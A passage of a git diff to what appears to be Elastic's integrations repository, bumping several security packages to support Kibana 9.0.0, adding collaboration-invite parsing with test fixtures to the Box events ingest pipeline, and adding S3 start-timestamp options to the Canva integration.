+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "0.1.0"
changes:
- description: Initial release.
diff --git a/packages/beyondinsight_password_safe/manifest.yml b/packages/beyondinsight_password_safe/manifest.yml
index 86eed6818bf..d767eab6425 100644
--- a/packages/beyondinsight_password_safe/manifest.yml
+++ b/packages/beyondinsight_password_safe/manifest.yml
@@ -1,7 +1,7 @@
format_version: 3.3.0
name: beyondinsight_password_safe
title: BeyondInsight and Password Safe
-version: 0.1.0
+version: "0.2.0"
source:
license: "Elastic-2.0"
description: Ingest privileged access management (PAM) data from BeyondTrust's BeyondInsight PAM Reporting Platform and Password Safe, using Elastic Agent.
@@ -10,7 +10,7 @@ categories:
- security
conditions:
kibana:
- version: "^8.15.3"
+ version: "^8.15.3 || ^9.0.0"
elastic:
subscription: "basic"
screenshots:
diff --git a/packages/bitdefender/changelog.yml b/packages/bitdefender/changelog.yml
index 8af40f3b7c6..d3819614028 100644
--- a/packages/bitdefender/changelog.yml
+++ b/packages/bitdefender/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "2.4.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "2.3.1"
changes:
- description: Updated SSL description to be uniform and to include links to documentation.
diff --git a/packages/bitdefender/manifest.yml b/packages/bitdefender/manifest.yml
index c944c63e201..024fb4e28c2 100644
--- a/packages/bitdefender/manifest.yml
+++ b/packages/bitdefender/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.2"
name: bitdefender
title: "BitDefender"
-version: "2.3.1"
+version: "2.4.0"
source:
license: "Elastic-2.0"
description: "Ingest BitDefender GravityZone logs and data"
@@ -10,7 +10,7 @@ categories:
- security
conditions:
kibana:
- version: "^8.14.3"
+ version: "^8.14.3 || ^9.0.0"
elastic:
subscription: "basic"
screenshots:
diff --git a/packages/bitwarden/changelog.yml b/packages/bitwarden/changelog.yml
index 0beb80e3bef..8b4a743f19f 100644
--- a/packages/bitwarden/changelog.yml
+++ b/packages/bitwarden/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.17.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.16.1"
changes:
- description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
diff --git a/packages/bitwarden/manifest.yml b/packages/bitwarden/manifest.yml
index bc7f6fc64a8..e740104576a 100644
--- a/packages/bitwarden/manifest.yml
+++ b/packages/bitwarden/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.2"
name: bitwarden
title: Bitwarden
-version: "1.16.1"
+version: "1.17.0"
source:
license: Elastic-2.0
description: Collect logs from Bitwarden with Elastic Agent.
@@ -11,7 +11,7 @@ categories:
- credential_management
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
elastic:
subscription: "basic"
screenshots:
diff --git a/packages/blacklens/changelog.yml b/packages/blacklens/changelog.yml
index 9a0c7c4a452..768ea9fdf21 100644
--- a/packages/blacklens/changelog.yml
+++ b/packages/blacklens/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "0.3.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "0.2.1"
changes:
- description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
diff --git a/packages/blacklens/manifest.yml b/packages/blacklens/manifest.yml
index 3cab6448840..ba4a3ffaaf4 100644
--- a/packages/blacklens/manifest.yml
+++ b/packages/blacklens/manifest.yml
@@ -1,7 +1,7 @@
format_version: 3.3.0
name: blacklens
title: "blacklens.io"
-version: 0.2.1
+version: "0.3.0"
source:
license: "Elastic-2.0"
description: "Collect logs from blacklens.io with Elastic Agent"
@@ -10,7 +10,7 @@ categories:
- security
conditions:
kibana:
- version: "^8.15.2"
+ version: "^8.15.2 || ^9.0.0"
elastic:
subscription: "basic"
screenshots:
diff --git a/packages/box_events/changelog.yml b/packages/box_events/changelog.yml
index 81d979bf959..28510dc9b68 100644
--- a/packages/box_events/changelog.yml
+++ b/packages/box_events/changelog.yml
@@ -1,4 +1,14 @@
# newer versions go on top
+- version: "2.13.0"
+ changes:
+ - description: Handle collaboration invite events and improve user field handling.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12944
+- version: "2.12.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "2.11.1"
changes:
- description: Add missing ECS mappings.
diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-anomalous-download.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-anomalous-download.log-expected.json
index 13fc486b2c3..34ceccc253a 100644
--- a/packages/box_events/data_stream/events/_dev/test/pipeline/test-anomalous-download.log-expected.json
+++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-anomalous-download.log-expected.json
@@ -83,6 +83,7 @@
}
],
"user": [
+ "Unknown User",
"some@user.com",
"567",
"Some user"
@@ -144,7 +145,8 @@
"email": "some@user.com",
"id": "567",
"name": "Some user"
- }
+ },
+ "name": "Unknown User"
}
},
{
@@ -226,6 +228,7 @@
}
],
"user": [
+ "Unknown User",
"some@user.com",
"567",
"Some user"
@@ -280,8 +283,9 @@
"email": "some@user.com",
"id": "567",
"name": "Some user"
- }
+ },
+ "name": "Unknown User"
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-copy.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-copy.log-expected.json
index 3f50695e79d..9d85b96a757 100644
--- a/packages/box_events/data_stream/events/_dev/test/pipeline/test-copy.log-expected.json
+++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-copy.log-expected.json
@@ -79,14 +79,20 @@
},
"related": {
"user": [
+ "info@elastic.co",
+ "Elastic Integrations",
"19530772260",
- "dominic.page@elastic.co",
- "Elastic Integrations"
+ "dominic.page@elastic.co"
]
},
"tags": [
"preserve_original_event"
- ]
+ ],
+ "user": {
+ "domain": "elastic.co",
+ "id": "info@elastic.co",
+ "name": "Elastic Integrations"
+ }
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-create.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-create.log-expected.json
index de98438c830..1a9fda56ae0 100644
--- a/packages/box_events/data_stream/events/_dev/test/pipeline/test-create.log-expected.json
+++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-create.log-expected.json
@@ -91,14 +91,20 @@
},
"related": {
"user": [
+ "info@elastic.co",
+ "Elastic Integrations",
"19530772260",
- "dominic.page@elastic.co",
- "Elastic Integrations"
+ "dominic.page@elastic.co"
]
},
"tags": [
"preserve_original_event"
- ]
+ ],
+ "user": {
+ "domain": "elastic.co",
+ "id": "info@elastic.co",
+ "name": "Elastic Integrations"
+ }
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-download.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-download.log-expected.json
index ced89a515e3..4e623838acc 100644
--- a/packages/box_events/data_stream/events/_dev/test/pipeline/test-download.log-expected.json
+++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-download.log-expected.json
@@ -102,14 +102,20 @@
"d0549f816ea7631c4e59a5cc69e17efa6449b7bb"
],
"user": [
+ "info@elastic.co",
+ "Elastic Integrations",
"19530772260",
- "dominic.page@elastic.co",
- "Elastic Integrations"
+ "dominic.page@elastic.co"
]
},
"tags": [
"preserve_original_event"
- ]
+ ],
+ "user": {
+ "domain": "elastic.co",
+ "id": "info@elastic.co",
+ "name": "Elastic Integrations"
+ }
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-empty.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-empty.log-expected.json
index 1c2f884a449..c97daacf230 100644
--- a/packages/box_events/data_stream/events/_dev/test/pipeline/test-empty.log-expected.json
+++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-empty.log-expected.json
@@ -2,4 +2,4 @@
"expected": [
null
]
-}
\ No newline at end of file
+}
diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-event-types.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-event-types.log-expected.json
index d9fac0c83d1..3f6d4d1ecc7 100644
--- a/packages/box_events/data_stream/events/_dev/test/pipeline/test-event-types.log-expected.json
+++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-event-types.log-expected.json
@@ -2447,4 +2447,4 @@
]
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-invite.log b/packages/box_events/data_stream/events/_dev/test/pipeline/test-invite.log
new file mode 100644
index 00000000000..6d003b584f3
--- /dev/null
+++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-invite.log
@@ -0,0 +1 @@
+{"accessible_by":{"id":"26570306658","login":"target@example.com","name":"Target User","type":"user"},"action_by":null,"additional_details":{"collab_id":"1123456789","invitation_message":"","is_performed_by_admin":false,"role":"Editor","type":"box://event/additional_details/collaboration"},"created_at":"2025-02-24T08:10:18-08:00","created_by":{"id":"12345678942","login":"acting@example.com","name":"Acting User","type":"user"},"event_id":"45f43783-da1c-4b9f-a609-0dee9e4bdb93","event_type":"COLLABORATION_INVITE","ip_address":"81.2.69.144","session_id":null,"source":{"folder_id":"308889935509","folder_name":"The folder name goes here","owned_by":{"id":"30633803054","login":"owner@example.com","name":"Folder Owner User","type":"user"},"parent":{"id":"239472683128","name":"parent folder of shared folder","type":"folder"},"user_id":"26570306658","user_name":"Target User"},"type":"event"}
diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-invite.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-invite.log-expected.json
new file mode 100644
index 00000000000..ad39ac57dd3
--- /dev/null
+++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-invite.log-expected.json
@@ -0,0 +1,95 @@
+{
+ "expected": [
+ {
+ "box": {
+ "accessible_by": {
+ "id": "26570306658",
+ "type": "user"
+ },
+ "additional_details": {
+ "collab_id": "1123456789",
+ "is_performed_by_admin": false,
+ "role": "Editor",
+ "type": "box://event/additional_details/collaboration"
+ },
+ "created_at": "2025-02-24T08:10:18-08:00",
+ "created_by": {
+ "id": "12345678942",
+ "login": "acting@example.com",
+ "name": "Acting User",
+ "type": "user"
+ },
+ "source": {
+ "folder_name": "The folder name goes here",
+ "id": "308889935509",
+ "owned_by": {
+ "id": "30633803054",
+ "login": "owner@example.com",
+ "name": "Folder Owner User",
+ "type": "user"
+ },
+ "parent": {
+ "id": "239472683128",
+ "name": "parent folder of shared folder",
+ "type": "folder"
+ },
+ "user_id": "26570306658",
+ "user_name": "Target User"
+ }
+ },
+ "client": {
+ "ip": "81.2.69.144"
+ },
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "event": {
+ "action": "COLLABORATION_INVITE",
+ "category": [
+ "process"
+ ],
+ "id": "45f43783-da1c-4b9f-a609-0dee9e4bdb93",
+ "kind": "event",
+ "original": "{\"accessible_by\":{\"id\":\"26570306658\",\"login\":\"target@example.com\",\"name\":\"Target User\",\"type\":\"user\"},\"action_by\":null,\"additional_details\":{\"collab_id\":\"1123456789\",\"invitation_message\":\"\",\"is_performed_by_admin\":false,\"role\":\"Editor\",\"type\":\"box://event/additional_details/collaboration\"},\"created_at\":\"2025-02-24T08:10:18-08:00\",\"created_by\":{\"id\":\"12345678942\",\"login\":\"acting@example.com\",\"name\":\"Acting User\",\"type\":\"user\"},\"event_id\":\"45f43783-da1c-4b9f-a609-0dee9e4bdb93\",\"event_type\":\"COLLABORATION_INVITE\",\"ip_address\":\"81.2.69.144\",\"session_id\":null,\"source\":{\"folder_id\":\"308889935509\",\"folder_name\":\"The folder name goes here\",\"owned_by\":{\"id\":\"30633803054\",\"login\":\"owner@example.com\",\"name\":\"Folder Owner User\",\"type\":\"user\"},\"parent\":{\"id\":\"239472683128\",\"name\":\"parent folder of shared folder\",\"type\":\"folder\"},\"user_id\":\"26570306658\",\"user_name\":\"Target User\"},\"type\":\"event\"}",
+ "type": [
+ "access",
+ "info",
+ "start"
+ ]
+ },
+ "related": {
+ "ip": [
+ "81.2.69.144"
+ ],
+ "location": [
+ {
+ "lat": 51.5142,
+ "lon": -0.0931
+ }
+ ],
+ "user": [
+ "acting@example.com",
+ "Acting User",
+ "target@example.com",
+ "Target User",
+ "30633803054",
+ "owner@example.com",
+ "Folder Owner User"
+ ]
+ },
+ "tags": [
+ "preserve_original_event"
+ ],
+ "user": {
+ "domain": "example.com",
+ "id": "acting@example.com",
+ "name": "Acting User",
+ "target": {
+ "domain": "example.com",
+ "id": "target@example.com",
+ "name": "Target User"
+ }
+ }
+ }
+ ]
+}
diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-malicious-content.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-malicious-content.log-expected.json
index d9570cab769..e99b0b5ba8d 100644
--- a/packages/box_events/data_stream/events/_dev/test/pipeline/test-malicious-content.log-expected.json
+++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-malicious-content.log-expected.json
@@ -97,6 +97,7 @@
}
],
"user": [
+ "Unknown User",
"some@email.com",
"2320",
"Some Name"
@@ -138,7 +139,8 @@
"email": "some@email.com",
"id": "2320",
"name": "Some Name"
- }
+ },
+ "name": "Unknown User"
}
},
{
@@ -225,6 +227,7 @@
"software"
],
"user": [
+ "Unknown User",
"some@email.com",
"2320",
"Some Name"
@@ -253,7 +256,8 @@
"email": "some@email.com",
"id": "2320",
"name": "Some Name"
- }
+ },
+ "name": "Unknown User"
}
}
]
diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-preview.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-preview.log-expected.json
index 2ad7358b07d..2fd22b45a19 100644
--- a/packages/box_events/data_stream/events/_dev/test/pipeline/test-preview.log-expected.json
+++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-preview.log-expected.json
@@ -102,14 +102,20 @@
"f46cece3eeb7d9ed5cb244d902775427be71492d"
],
"user": [
+ "info@elastic.co",
+ "Elastic Integrations",
"19530772260",
- "dominic.page@elastic.co",
- "Elastic Integrations"
+ "dominic.page@elastic.co"
]
},
"tags": [
"preserve_original_event"
- ]
+ ],
+ "user": {
+ "domain": "elastic.co",
+ "id": "info@elastic.co",
+ "name": "Elastic Integrations"
+ }
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-rename.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-rename.log-expected.json
index f8e8296251f..6fbf17ea883 100644
--- a/packages/box_events/data_stream/events/_dev/test/pipeline/test-rename.log-expected.json
+++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-rename.log-expected.json
@@ -80,14 +80,20 @@
},
"related": {
"user": [
+ "info@elastic.co",
+ "Elastic Integrations",
"19530772260",
- "dominic.page@elastic.co",
- "Elastic Integrations"
+ "dominic.page@elastic.co"
]
},
"tags": [
"preserve_original_event"
- ]
+ ],
+ "user": {
+ "domain": "elastic.co",
+ "id": "info@elastic.co",
+ "name": "Elastic Integrations"
+ }
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-suspicious-locations.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-suspicious-locations.log-expected.json
index 06a324ea755..622960c432a 100644
--- a/packages/box_events/data_stream/events/_dev/test/pipeline/test-suspicious-locations.log-expected.json
+++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-suspicious-locations.log-expected.json
@@ -59,6 +59,7 @@
}
],
"user": [
+ "Unknown User",
"some@email.com",
"2320",
"Some name"
@@ -95,7 +96,8 @@
"email": "some@email.com",
"id": "2320",
"name": "Some name"
- }
+ },
+ "name": "Unknown User"
}
},
{
@@ -140,6 +142,7 @@
"ipv4-addr"
],
"user": [
+ "Unknown User",
"some@email.com",
"2320",
"Some name"
@@ -175,8 +178,9 @@
"email": "some@email.com",
"id": "2320",
"name": "Some name"
- }
+ },
+ "name": "Unknown User"
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-suspicious-sessions.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-suspicious-sessions.log-expected.json
index cfc438754b4..cd6b3e9cb54 100644
--- a/packages/box_events/data_stream/events/_dev/test/pipeline/test-suspicious-sessions.log-expected.json
+++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-suspicious-sessions.log-expected.json
@@ -58,6 +58,7 @@
}
],
"user": [
+ "Unknown User",
"a@b.c",
"50500",
"A b c"
@@ -94,7 +95,8 @@
"email": "a@b.c",
"id": "50500",
"name": "A b c"
- }
+ },
+ "name": "Unknown User"
}
},
{
@@ -142,6 +144,7 @@
"user-account"
],
"user": [
+ "Unknown User",
"a@b.c",
"50500",
"A b c"
@@ -177,8 +180,9 @@
"email": "a@b.c",
"id": "50500",
"name": "A b c"
- }
+ },
+ "name": "Unknown User"
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-trash.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-trash.log-expected.json
index f36e43ae6dd..899c2666b74 100644
--- a/packages/box_events/data_stream/events/_dev/test/pipeline/test-trash.log-expected.json
+++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-trash.log-expected.json
@@ -81,14 +81,20 @@
"815f3eb7dcce57c23f8010bc13ffd01b2333a364"
],
"user": [
+ "info@elastic.co",
+ "Elastic Integrations",
"19530772260",
- "dominic.page@elastic.co",
- "Elastic Integrations"
+ "dominic.page@elastic.co"
]
},
"tags": [
"preserve_original_event"
- ]
+ ],
+ "user": {
+ "domain": "elastic.co",
+ "id": "info@elastic.co",
+ "name": "Elastic Integrations"
+ }
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-upload.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-upload.log-expected.json
index e4a533031b2..5e02d4a916e 100644
--- a/packages/box_events/data_stream/events/_dev/test/pipeline/test-upload.log-expected.json
+++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-upload.log-expected.json
@@ -109,14 +109,20 @@
"586a84a9823d175b5966f15eb050d5e9f0e88e71"
],
"user": [
+ "info@elastic.co",
+ "Elastic Integrations",
"19530772260",
- "dominic.page@elastic.co",
- "Elastic Integrations"
+ "dominic.page@elastic.co"
]
},
"tags": [
"preserve_original_event"
- ]
+ ],
+ "user": {
+ "domain": "elastic.co",
+ "id": "info@elastic.co",
+ "name": "Elastic Integrations"
+ }
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/box_events/data_stream/events/elasticsearch/ingest_pipeline/default.yml b/packages/box_events/data_stream/events/elasticsearch/ingest_pipeline/default.yml
index b0c0baca2dc..ba86b16471d 100644
--- a/packages/box_events/data_stream/events/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/box_events/data_stream/events/elasticsearch/ingest_pipeline/default.yml
@@ -593,6 +593,71 @@ processors:
field: box.event_id
target_field: event.id
ignore_missing: true
+# User details: set rather than rename is used in these to avoid breaking change.
+ - split:
+ field: box.created_by.login
+ target_field: _tmp.created_login
+ separator: '@'
+ if: ctx.box?.created_by?.login instanceof String && ctx.box.created_by.login.length() > 2
+ - set:
+ field: user.domain
+ copy_from: _tmp.created_login.1
+ if: ctx._tmp?.created_login instanceof List && ctx._tmp.created_login.length == 2
+ - set:
+ field: user.id
+ copy_from: box.created_by.login
+ ignore_empty_value: true
+ if: ctx.user?.id == null && ctx.box?.created_by?.type == 'user'
+ - append:
+ field: related.user
+ value: '{{{user.id}}}'
+ if: ctx.user?.id != null && ctx.user.id != ''
+ allow_duplicates: false
+ - set:
+ field: user.name
+ copy_from: box.created_by.name
+ ignore_empty_value: true
+ if: ctx.user?.name == null && ctx.box?.created_by?.type == 'user'
+ - append:
+ field: related.user
+ value: '{{{user.name}}}'
+ if: ctx.user?.name != null && ctx.user.name != ''
+ allow_duplicates: false
+# Collaboration events.
+ - split:
+ field: box.accessible_by.login
+ target_field: _tmp.accessible_login
+ separator: '@'
+ if: ctx.box?.accessible_by?.login instanceof String && ctx.box.accessible_by.login.length() > 2
+ - set:
+ field: user.target.domain
+ copy_from: _tmp.accessible_login.1
+ if: ctx._tmp?.accessible_login instanceof List && ctx._tmp.accessible_login.length == 2
+ - rename:
+ field: box.accessible_by.login
+ target_field: user.target.id
+ ignore_missing: true
+ if: ctx.user?.target?.id == null && ctx.box?.accessible_by?.type == 'user'
+ - append:
+ field: related.user
+ value: '{{{user.target.id}}}'
+ if: ctx.user?.target?.id != null && ctx.user.target.id != ''
+ allow_duplicates: false
+ - rename:
+ field: box.accessible_by.name
+ target_field: user.target.name
+ ignore_missing: true
+ if: ctx.user?.target?.name == null
+ - append:
+ field: related.user
+ value: '{{{user.target.name}}}'
+ if: ctx.user?.target?.name != null && ctx.user.target.name != ''
+ allow_duplicates: false
+ - rename:
+ field: box.source.folder_id
+ target_field: box.source.id
+ ignore_missing: true
+ if: ctx.box?.source?.id == null
# If a user or item triggers an event, The response of the GET /events endpoint contains an event source object.
- convert:
field: box.source.sequence_id
@@ -654,7 +719,18 @@ processors:
field: box.source.file_version.sha1
target_field: file.hash.sha1
ignore_missing: true
-# Shield Focussed Processors
+ - convert:
+ field: box.additional_details.is_performed_by_admin
+ type: boolean
+ tag: convert_is_performed_by_admin_bool
+ ignore_missing: true
+ on_failure:
+ - remove:
+ field: box.additional_details.is_performed_by_admin
+ - append:
+ field: error.message
+ value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+# Shield Focused Processors
- convert:
field: box.ip_address
target_field: client.ip
@@ -1268,7 +1344,9 @@ processors:
}
dropEmptyFields(ctx);
- remove:
- field: _conf
+ field:
+ - _conf
+ - _tmp
ignore_missing: true
on_failure:
- set:
diff --git a/packages/box_events/data_stream/events/fields/fields.yml b/packages/box_events/data_stream/events/fields/fields.yml
index c7ab48b266b..68c4969b46d 100644
--- a/packages/box_events/data_stream/events/fields/fields.yml
+++ b/packages/box_events/data_stream/events/fields/fields.yml
@@ -1,9 +1,33 @@
- name: box
type: group
fields:
+ - name: accessible_by
+ type: group
+ fields:
+ - name: id
+ type: keyword
+ description: ID of the entity that can access the item.
+ - name: login
+ type: keyword
+ description: Login of the entity that can access the item.
+ - name: name
+ type: keyword
+ description: Name of the entity that can access the item.
+ - name: type
+ type: keyword
+ description: Type of entity that can access the item.
- name: additional_details
type: group
fields:
+ - name: collab_id
+ type: keyword
+ description: ID of the collaboration.
+ - name: is_performed_by_admin
+ type: boolean
+ description: Whether the action was performed by an admin.
+ - name: role
+ type: keyword
+ description: Role associated with the event.
- name: shield_alert
type: group
fields:
@@ -208,6 +232,9 @@
- name: name
description: User name
type: keyword
+ - name: type
+ type: keyword
+ description: Type of the event.
- name: created_at
description: When the event object was created
type: date
@@ -278,6 +305,9 @@
- name: id
description: The unique identifier that represent a file version
type: keyword
+ - name: folder_name
+ description: The name of a folder
+ type: keyword
- name: id
description: The unique identifier that represent a folder
type: keyword
@@ -415,6 +445,12 @@
- name: trashed_at
description: The time at which this file was put in the trash
type: boolean
+ - name: user_id
+ description: Unique user ID of the user that triggered the event.
+ type: keyword
+ - name: user_name
+ description: The name of the user that triggered the event.
+ type: keyword
- name: related
type: group
fields:
diff --git a/packages/box_events/docs/README.md b/packages/box_events/docs/README.md
index ac56496e320..a28df3d2542 100644
--- a/packages/box_events/docs/README.md
+++ b/packages/box_events/docs/README.md
@@ -140,6 +140,13 @@ Preserves a raw copy of the original event, added to the field `event.original`.
| Field | Description | Type |
|---|---|---|
| @timestamp | Date/time when the event originated. This is the date/time extracted from the event, typically representing when the event was generated by the source. If the event source has no original timestamp, this value is typically populated by the first time the event was received by the pipeline. Required field for all events. | date |
+| box.accessible_by.id | ID of the entity that can access the item. | keyword |
+| box.accessible_by.login | Login of the entity that can access the item. | keyword |
+| box.accessible_by.name | Name of the entity that can access the item. | keyword |
+| box.accessible_by.type | Type of entity that can access the item. | keyword |
+| box.additional_details.collab_id | ID of the collaboration. | keyword |
+| box.additional_details.is_performed_by_admin | Whether the action was performed by an admin. | boolean |
+| box.additional_details.role | Role associated with the event. | keyword |
| box.additional_details.shield_alert.alert_id | Box Shield alert ID | long |
| box.additional_details.shield_alert.alert_summary.anomaly_period.date_range.end_date | When the anomaly was last observed | keyword |
| box.additional_details.shield_alert.alert_summary.anomaly_period.date_range.start_date | When the anomaly was last observed | keyword |
@@ -195,6 +202,7 @@ Preserves a raw copy of the original event, added to the field `event.original`.
| box.additional_details.shield_alert.user.email | User email | keyword |
| box.additional_details.shield_alert.user.id | User ID | long |
| box.additional_details.shield_alert.user.name | User name | keyword |
+| box.additional_details.type | Type of the event. | keyword |
| box.created_at | When the event object was created | date |
| box.created_by.id | The unique identifier for the connection user. | keyword |
| box.created_by.login | The primary email address of the connection user. Maps from \*\*.login | keyword |
@@ -214,6 +222,7 @@ Preserves a raw copy of the original event, added to the field `event.original`.
| box.source.etag | The HTTP etag of this folder | keyword |
| box.source.file_version.id | The unique identifier that represent a file version | keyword |
| box.source.file_version.type | Value is always `file_version` | keyword |
+| box.source.folder_name | The name of a folder | keyword |
| box.source.id | The unique identifier that represent a folder | keyword |
| box.source.item_status | Defines if this item has been deleted or not. active when the item has is not in the trash trashed when the item has been moved to the trash but not deleted deleted when the item has been permanently deleted. Value is one of `active`, `trashed`, `deleted` | keyword |
| box.source.job_title | User job title | boolean |
@@ -252,6 +261,8 @@ Preserves a raw copy of the original event, added to the field `event.original`.
| box.source.synced | Legacy property for compatibility with Box Desktop | boolean |
| box.source.timezone | Timezone | boolean |
| box.source.trashed_at | The time at which this file was put in the trash | boolean |
+| box.source.user_id | Unique user ID of the user that triggered the event. | keyword |
+| box.source.user_name | The name of the user that triggered the event. | keyword |
| cloud.image.id | Image ID for the cloud instance. | keyword |
| data_stream.dataset | The field can contain anything that makes sense to signify the source of the data. Examples include `nginx.access`, `prometheus`, `endpoint` etc. For data streams that otherwise fit, but that do not have dataset set we use the value "generic" for the dataset value. `event.dataset` should have the same value as `data_stream.dataset`. Beyond the Elasticsearch data stream naming criteria noted above, the `dataset` value has additional restrictions: \* Must not contain `-` \* No longer than 100 characters | constant_keyword |
| data_stream.namespace | A user defined namespace. Namespaces are useful to allow grouping of data. Many users already organize their indices this way, and the data stream naming scheme now provides this best practice as a default. Many users will populate this field with `default`. If no value is used, it falls back to `default`. Beyond the Elasticsearch index naming criteria noted above, `namespace` value has the additional restrictions: \* Must not contain `-` \* No longer than 100 characters | constant_keyword |
diff --git a/packages/box_events/manifest.yml b/packages/box_events/manifest.yml
index 64410a128af..60d8d15b73f 100644
--- a/packages/box_events/manifest.yml
+++ b/packages/box_events/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.3"
name: box_events
title: Box Events
-version: "2.11.1"
+version: "2.13.0"
description: "Collect logs from Box with Elastic Agent"
type: integration
categories:
@@ -9,7 +9,7 @@ categories:
- productivity_security
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
screenshots:
- src: /img/box_screenshot.png
title: "[Logs Box Events Integration] Events Dashboard"
diff --git a/packages/canva/changelog.yml b/packages/canva/changelog.yml
index 56f0521b7ee..829e9328723 100644
--- a/packages/canva/changelog.yml
+++ b/packages/canva/changelog.yml
@@ -1,4 +1,14 @@
# newer versions go on top
+- version: "0.6.0"
+ changes:
+ - description: Add support to configure start_timestamp and ignore_older configurations for AWS S3 backed inputs.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12645
+- version: "0.5.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "0.4.1"
changes:
- description: Updated SSL description to be uniform and to include links to documentation.
diff --git a/packages/canva/data_stream/audit/agent/stream/aws-s3.yml.hbs b/packages/canva/data_stream/audit/agent/stream/aws-s3.yml.hbs
index 3f86b988ce5..0e16d9fb134 100644
--- a/packages/canva/data_stream/audit/agent/stream/aws-s3.yml.hbs
+++ b/packages/canva/data_stream/audit/agent/stream/aws-s3.yml.hbs
@@ -14,6 +14,12 @@ bucket_list_interval: {{interval}}
{{#if bucket_list_prefix}}
bucket_list_prefix: {{bucket_list_prefix}}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+{{#if ignore_older}}
+ ignore_older: {{ignore_older}}
+{{/if}}
{{else}}
diff --git a/packages/canva/data_stream/audit/manifest.yml b/packages/canva/data_stream/audit/manifest.yml
index dda0efe58f6..e58580adc7c 100644
--- a/packages/canva/data_stream/audit/manifest.yml
+++ b/packages/canva/data_stream/audit/manifest.yml
@@ -118,6 +118,20 @@ streams:
show_user: true
default: 5
description: Number of workers that will process the S3 objects listed. It is a required parameter for collecting logs via the AWS S3 Bucket.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
